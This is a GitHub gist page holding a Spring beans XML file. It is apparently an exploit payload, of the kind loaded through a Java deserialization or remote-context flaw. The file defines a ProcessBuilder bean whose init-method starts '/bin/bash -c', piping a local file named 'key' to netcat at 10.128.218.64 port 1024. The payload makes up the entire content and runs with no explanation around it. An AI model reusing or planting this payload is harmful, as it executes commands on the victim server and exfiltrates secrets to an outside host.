Skip to content

Instantly share code, notes, and snippets.

@kimtree
Last active January 15, 2019 03:52
Show Gist options
  • Save kimtree/a3d38f76f9d6898606b93195e5a92dfd to your computer and use it in GitHub Desktop.
Save kimtree/a3d38f76f9d6898606b93195e5a92dfd to your computer and use it in GitHub Desktop.
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<array>
<value>/bin/bash</value>
<value>-c</value>
<value>cat ./key | nc 10.128.218.64 1024</value>
</array>
</constructor-arg>
</bean>
</beans>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment